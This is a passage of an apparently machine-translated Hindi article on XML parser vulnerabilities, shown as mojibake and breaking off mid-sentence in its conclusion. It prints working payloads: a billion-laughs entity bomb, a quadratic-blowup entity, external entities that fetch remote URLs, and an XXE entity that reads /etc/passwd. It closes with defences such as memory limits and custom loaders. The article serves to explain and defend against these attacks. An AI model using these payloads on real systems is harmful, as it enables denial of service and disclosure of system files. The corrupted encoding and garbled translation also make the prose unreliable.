XML рд╕реЗ рдмрдо рдХреИрд╕реЗ рдмрдирд╛рдпреЗ

Oss- рд╕реБрд░рдХреНрд╖рд╛ рдореЗрд▓рд┐рдВрдЧ рд╕реВрдЪреА рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди XML рдкрд╛рд░реНрд╕рд┐рдВрдЧ рднреЗрджреНрдпрддрд╛ рдХреА рдЪрд░реНрдЪрд╛ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХреА рдЧрдИ рд╣реИ ред рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛрддреА рд╣реИрдВ рдЬреЛ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рдПрдХ рдирд╛рдорд┐рдд рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдПрдореНрдмреЗрдбреЗрдб DTD рдореЗрдВ рдирд╛рдорд┐рдд рдФрд░ рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред рдпрд╛рдиреА рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ, рдРрд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкрд╛рд░реНрд╕рд░ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдирд╣реАрдВ рдмрджрд▓рддреЗ рд╣реИрдВред

рдмрд┐рд▓реНрд▓реА рдХреЗ рдиреАрдЪреЗ XML рдмрдо рдХреЗ рдЙрджрд╛рд╣рд░рдгред рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХреНрд╕рдПрдордПрд▓ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реИрдВ, рддреЛ рдЖрдк рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдпрдВ рдЙрдиреНрд╣реЗрдВ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдмрдореЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг libxml2 рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд╕рд╛рде рд╢рд╛рдорд┐рд▓ xmllint рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрдп рдкрд╛рд░реНрд╕рд░ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред



рд╕рд┐рджреНрдзрд╛рдВрдд



рдПрдХреНрд╕рдПрдордПрд▓ рдорд╛рдирдХ рдПрдХреНрд╕рдПрдордПрд▓ рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдХреЛ рдиреЗрд╕реНрдЯреЗрдб рдЯреИрдЧ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рд╕реЗ рд╡реИрдз рдирд┐рд░реНрдорд╛рдгреЛрдВ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбреАрдЯреАрдбреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдПрдХ DTD рдХреЛ рдпрд╛ рддреЛ рдПрдХ рдмрд╛рд╣рд░реА рд╕реНрд░реЛрдд рдХреЗ рд╕рдВрджрд░реНрдн рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рд╣реА рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдореНрдмреЗрдбреЗрдб DTD рдХреЗ рд╕рд╛рде рдЙрджрд╛рд╣рд░рдг рджрд╕реНрддрд╛рд╡реЗрдЬрд╝:

<!DOCTYPE greeting [ <!ELEMENT greeting (#PCDATA)> ]> <greeting>Hello, world!</greeting> 


DTD рдореЗрдВ, рддрддреНрд╡реЛрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдк рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдирд╛рдорд┐рдд рд╕рдВрд╕реНрдерд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг:

 <!DOCTYPE greeting [ <!ENTITY target "world"> <!ELEMENT greeting (#PCDATA)> ]> <greeting>Hello, &target;!</greeting> 


рд╡реИрдзрддрд╛ рдХреЗ рд▓рд┐рдП рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдФрд░ рд╕рдВрд╕реНрдерд╛рдУрдВ рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд░реЗрдВ:

 $ xmllint --noent --valid hello.xml 


рдПрдХреНрд╕рдкреЛрдиреЗрдВрд╢рд┐рдпрд▓ рдмреНрд▓реЛрдЗрдВрдЧ рдЕрдк рдПрдВрдЯрд┐рдЯреАрдЬ



рдирд╛рдорд┐рдд рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ рди рдХреЗрд╡рд▓ рдЪрд░рд┐рддреНрд░ рдХреЗ рддрд╛рд░ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд▓реНрдХрд┐ рдЕрдиреНрдп рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЗ рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рднреА рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкреБрдирд░реНрд╕рдВрд░рдЪрдирд╛ рдорд╛рдирдХ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖рд┐рджреНрдз рд╣реИ , рд▓реЗрдХрд┐рди рдШреЛрдВрд╕рд▓реЗ рдХреЗ рд╢рд┐рдХрд╛рд░ рдХреА рдЧрд╣рд░рд╛рдИ рдкрд░ рдХреЛрдИ рдкреНрд░рддрд┐рдмрдВрдз рдирд╣реАрдВ рд╣реИред рдпрд╣ рдмрд╣реБрдд рд▓рдВрдмреЗ рдкрд╛рда рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ (рдХреИрд╕реЗ рдЕрднрд┐рд▓реЗрдЦрд╛рдЧрд╛рд░ рдХреЗ рд╕рдорд╛рди) рдХреЗ рдПрдХ рдХреЙрдореНрдкреИрдХреНрдЯ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдЕрд░рдм рд╣рдВрд╕реА рдХреЗ рд╣рдорд▓реЗ рдХрд╛ рдЖрдзрд╛рд░ рдмрдирддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ 2003 рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ ред

 <!DOCTYPE bomb [ <!ENTITY a "1234567890" > <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;"> <!ELEMENT bomb (#PCDATA)> ]> <bomb>&d;</bomb> 


рдЖрдзреБрдирд┐рдХ XML рдкрд╛рд░реНрд╕рд░ рдРрд╕реЗ рд╣рдорд▓реЗ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ libxml2 рдорд╛рдирдХ рдХреЗ рд╕рд╛рде рдЗрд╕рдХреЗ рд╕рдЦреНрдд рдЕрдиреБрдкрд╛рд▓рди рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ:

 $ xmllint --noent --valid bomb1.xml Entity: line 1: parser error : Detected an entity reference loop &c;&c;&c;&c;&c;&c;&c;&c; ^ bomb1.xml:8: parser error : Detected an entity reference loop <bomb>&d;</bomb> ^ 


рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреЗ рд╕рдордп рдпрд╣ рдХрд┐рддрдирд╛ рдлреБрд▓рд╛рддрд╛ рд╣реИ, рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЗрд╕ рд╣рдорд▓реЗ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

 $ xmllint --noent --valid --huge bomb1.xml | wc -c 5344 


рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдкрд╣рд▓реЗ рд╕реЗ рджрд┐рдП рдЧрдП рд▓реЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдирдИ рд╕рдВрд╕реНрдерд╛ рдХреЛ рдЬреЛрдбрд╝рдХрд░, рдЖрдЙрдЯрдкреБрдЯ рд╕реНрдЯреНрд░реАрдо рдХреЛ рд▓рдЧрднрдЧ рдХрдИ рдмрд╛рд░ рдлреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкрд┐рдЫрд▓реЗ рдЗрдХрд╛рдИ рдореЗрдВ рд▓рд┐рдВрдХ рдПрдХ рдореЗрдВ рдЬреЛрдбрд╝реЗ рдЬрд╛рддреЗ рд╣реИрдВред рдЗрдирдкреБрдЯ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реЗ рд▓рд┐рдВрдХ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдЖрдиреБрдкрд╛рддрд┐рдХ рд░реВрдк рд╕реЗ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╛рдиреА рдЗрдирдкреБрдЯ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдЖрдХрд╛рд░ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдЪрд░рд┐рддреНрд░ рд╕реНрдЯреНрд░реАрдо рдХреЗ рдмреАрдЪ рдПрдХ рдШрд╛рддреАрдп рд╕рдВрдмрдВрдз рд╣реИред

рдПрдХ рдЫреЛрдЯреЗ рд╕реЗ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдЯреИрдЧ рдФрд░ рд╡рд░реНрдг рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░реНрдп рдХреЗ рд▓рд┐рдП рд╕рдВрд╕рд╛рдзрдиреЛрдВ (рдЬреИрд╕реЗ рд░реИрдо рдФрд░ рдкреНрд░реЛрд╕реЗрд╕рд░ рд╕рдордп) рдХрд╛ рдЕрдиреБрдкрд╛рддрд╣реАрди рдЙрдкрднреЛрдЧ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ DoS рд╣рдорд▓рд╛ рд╣реИ, рдЬреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдФрд░ рд╕рдмрд╕реЗ рдЦрд░рд╛рдм рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреА рдЬрдЯрд┐рд▓рддрд╛ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЕрдВрддрд░ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред

рд╕рдВрд╕реНрдерд╛рдУрдВ рдХрд╛ рджреНрд╡рд┐рдШрд╛рдд рдореБрджреНрд░рд╛рд╕реНрдлреАрддрд┐



рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдкрд╣рд▓реЗ рд╣реА рджреЗрдЦ рдЪреБрдХреЗ рд╣реИрдВ, "рдмрд┐рд▓рд┐рдпрди рд▓рд╛рдлреНрд╕" рд╣рдорд▓реЗ рдХрд╛ рдореБрдХрд╛рдмрд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдирд╛рдорд┐рдд рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЗ рдкреЗрдбрд╝ рдХреА рдЧрд╣рд░рд╛рдИ рдкрд░ рдПрдХ рд╕рдЦреНрдд рдХреГрддреНрд░рд┐рдо рдкреНрд░рддрд┐рдмрдВрдз рд▓рдЧрд╛рддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд░рддрд┐рдмрдВрдз рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЗрдирдкреБрдЯ XML рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЖрдХрд╛рд░ рдФрд░ рд╡рд░реНрдгреЛрдВ рдХреА рдЖрдЙрдЯрдкреБрдЯ рд╕реНрдЯреНрд░реАрдо рдХреЗ рдмреАрдЪ рдПрдХ рдШрд╛рддреАрдп рд╕рдВрдмрдВрдз рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЕрдкреЗрдХреНрд╖рд╛рдХреГрдд рдЫреЛрдЯреЗ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡рд░ рдХреЗ рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП, рдЗрди рдореВрд▓реНрдпреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рдШрд╛рддреАрдп рд╕рдВрдмрдВрдз рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИред рдПрдХ рджреНрд╡рд┐рдШрд╛рдд рдирд┐рд░реНрднрд░рддрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдареАрдХ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП, рдирд╛рдорд┐рдд рд╕рдВрд╕реНрдерд╛рдУрдВ рдХрд╛ рдПрдХ рд╕реНрддрд░ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред рд╣рдо рдмрд╕ рдПрдХ рд▓рдВрдмреА рдЗрдХрд╛рдИ рдХреЛ рдХрдИ рдмрд╛рд░ рджреЛрд╣рд░рд╛рдПрдВрдЧреЗ:

 <!DOCTYPE bomb [ <!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...x" > <!ELEMENT bomb (#PCDATA)> ]> <bomb>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...&x;</bomb> 


 $ xmllint --huge --noent --valid bomb2.xml | wc -c 1868 


--Huge рд╡рд┐рдХрд▓реНрдк рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ рдпрджрд┐ рдЖрдкрдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ libxml2 рдорд╛рдирддрд╛ рд╣реИ рдХрд┐ рдЙрдкрд░реЛрдХреНрдд рдЙрджрд╛рд╣рд░рдг рдПрдХ рд╣рдорд▓рд╛ рд╣реИред рдЙрд╕реЗ рдЗрд╕ рдкреНрд░рддрд┐рдмрджреНрдз рджреНрд╡рд╛рд░рд╛ рд╕рд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЕрд░реНрдерд╛рддреНред рдкреЛрд╕реНрдЯ рдХреЗ рдкреНрд░рдХрд╛рд╢рди рдХреЗ рд╕рдордп, рдЗрд╕реА рдкрд░рд┐рд╡рд░реНрддрди рдиреЗ рд░рд┐рд▓реАрдЬрд╝ рдореЗрдВ рдЖрдиреЗ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдирд╣реАрдВ рдХрд┐рдпрд╛ред

рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛рдПрдВ



рдПрдХреНрд╕рдПрдордПрд▓ рдорд╛рдирдХ рдореЗрдВ рди рдХреЗрд╡рд▓ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рддрд╛рд░реЛрдВ рд╕реЗ рдЗрдХрд╛рдИ рдореВрд▓реНрдпреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ, рдмрд▓реНрдХрд┐ рдмрд╛рд╣рд░реА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рднреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, HTTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЦреБрд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдПрдХ рдЬрд╝реЛрдВрдмреА рд╕рд░реНрд╡рд░ рдкрд░ XML рдкрд╛рд░реНрд╕рд░ рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ рдЬреЛ рдкреЛрд░реНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдЕрдкрдиреЗ рдЖрдИрдкреА рдкрддреЗ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ DoS рд╣рдорд▓реЛрдВ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд░рдЦрддрд╛ рд╣реИред рдпрд╣ рдПрдХреНрд╕рдПрдордПрд▓ рдлрд╝рд╛рдЗрд▓, рдЬрдм рдЗрд╕реЗ рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрд╛рд░реНрд╕рд░ рдХреЗ рд╕рд╛рде рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рд╡рд╣ рд╣реИрдмрд░ рдХреЗ рдЖрд░рдПрд╕рдПрд╕ рдлрд╝реАрдбреНрд╕ рдХреЗ рд▓рд┐рдП рддреАрди рдЕрдиреБрд░реЛрдз рдмрдирд╛рдПрдЧрд╛:

 <!DOCTYPE bomb [ <!ENTITY a1 SYSTEM "http://habrahabr.ru/rss/best/" > <!ENTITY a2 SYSTEM "http://habrahabr.ru/rss/hubs/" > <!ENTITY a3 SYSTEM "http://habrahabr.ru/rss/qa/" > <!ELEMENT author ANY> <!ELEMENT blockquote ANY> <!ELEMENT category ANY> <!ELEMENT channel ANY> <!ELEMENT code ANY> <!ELEMENT description ANY> <!ELEMENT generator ANY> <!ELEMENT guid ANY> <!ATTLIST guid isPermaLink CDATA #IMPLIED> <!ELEMENT h3 ANY> <!ELEMENT i ANY> <!ELEMENT image ANY> <!ELEMENT item ANY> <!ELEMENT language ANY> <!ELEMENT lastBuildDate ANY> <!ELEMENT link ANY> <!ELEMENT managingEditor ANY> <!ELEMENT pre ANY> <!ELEMENT pubDate ANY> <!ELEMENT rss ANY> <!ATTLIST rss version CDATA #IMPLIED> <!ELEMENT title ANY> <!ELEMENT url ANY> <!ELEMENT bomb ANY> ]> <bomb>&a1;&a2;&a3;</bomb> 


 $ xmllint --noent --noout --load-trace bomb3.xml 


рдКрдкрд░ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЖрдк рдкрд╛рд░реНрд╕рд░ рдХреЛ - рдЧрдирдиреЗрдЯ рд╕реНрд╡рд┐рдЪ рдХреЛ рдкрд╛рд╕ рдХрд░рдХреЗ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдкрдарди рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрд╕реА рддрд░рд╣, рдЖрдк рдПрдХ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ рдпрд╣рд╛рдБ - рддреЛрдк рдорджрдж рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ:

 <!DOCTYPE bomb [ <!ENTITY passwd SYSTEM "file:///etc/passwd" > <!ELEMENT bomb (#PCDATA)> ]> <bomb>&passwd;</bomb> 


 $ xmllint --noent --nonet --valid bomb4.xml 


рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рдорд▓реЗ рдХреЛ рдПрдХреНрд╕рдПрдХреНрд╕рдИ (рдПрдХреНрд╕рдПрдордПрд▓ рдПрдХреНрд╕рдЯреНрд░реАрдо рдПрдВрдЯрд┐рдЯреА рд╕реЗ) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рддрд╛рдЬрд╛ рдЙрджрд╛рд╣рд░рдг PostgreSQL, CVE-2012-3489 рдореЗрдВ рднреЗрджреНрдпрддрд╛ рд╣реИ ред

рдирд┐рд╖реНрдХрд░реНрд╖



рдЕрдм рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рддреЗ рд╣реИрдВред

рдмреЗрд╢рдХ, рдЙрди рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЗрди рдФрд░ рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рддрд┐рдХрд╛рд░ рд▓рд┐рдпрд╛ рд╣реИред рдЖрдкрдХреЛ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдореЗрдВ рдЦрд░реНрдЪ рдХрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╕реАрдорд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, libxml2 рдХреЗ рд▓рд┐рдП, рдпрд╣ xmlMemSetup () рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ рдФрд░ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдореЗрдореЛрд░реА рдкреНрд░рдмрдВрдзрди рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдкрд╛рд╕ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЖрдкрдХреЛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрдЧрд╛ред рдмрд╛рд╣рд░реА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдирд╛ рднреА рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рд▓реЛрдбрд░ рдХреЛ рд▓рд┐рдЦрдХрд░ ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рд░рд╛рдп рд╣реИ рдХрд┐ рдКрдкрд░ рд╕реВрдЪреАрдмрджреНрдз рд╕рднреА рдЙрдкрд╛рдп рд▓рдХреНрд╖рдгреЛрдВ рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ рд╣реИрдВ, рдФрд░ рд╕реВрдЪреАрдмрджреНрдз рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рд░ рдкрд░ рдирд╣реАрдВред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рдбреАрдЯреАрдбреА рдХреЗ рдЕрдиреБрд╕рд╛рд░ (рдпрд╛ рдирд┐рд╣рд┐рдд) рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдХрд╣рд╛рдБ рд╕реЗ рдЖрдпрд╛ рд╣реИ? рдХреНрдпрд╛ рдЖрдкрдХреЗ рдЖрд╡реЗрджрди рдХреЗ рдирд┐рдпрдореЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЗрд╕ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдирд╛ рдЕрдзрд┐рдХ рд╕рд╣реА рдирд╣реАрдВ рд╣реЛрдЧрд╛? рдЖрдЦрд┐рд░рдХрд╛рд░, рдЖрдк рдЕрдкрдиреЗ рд╣реИрдВрдбрд▓рд░ рдХреЗ рдХреЛрдб рдореЗрдВ рдирд┐рдпрдорд┐рдд рднрд╛рд╡реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ HTML рдлреЙрд░реНрдо рдореЗрдВ рдбреЗрдЯрд╛ рдХреА рд╡реИрдзрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВ, рди рдХрд┐ рдлреЙрд░реНрдо рдбреЗрдЯрд╛ рдХреЗ 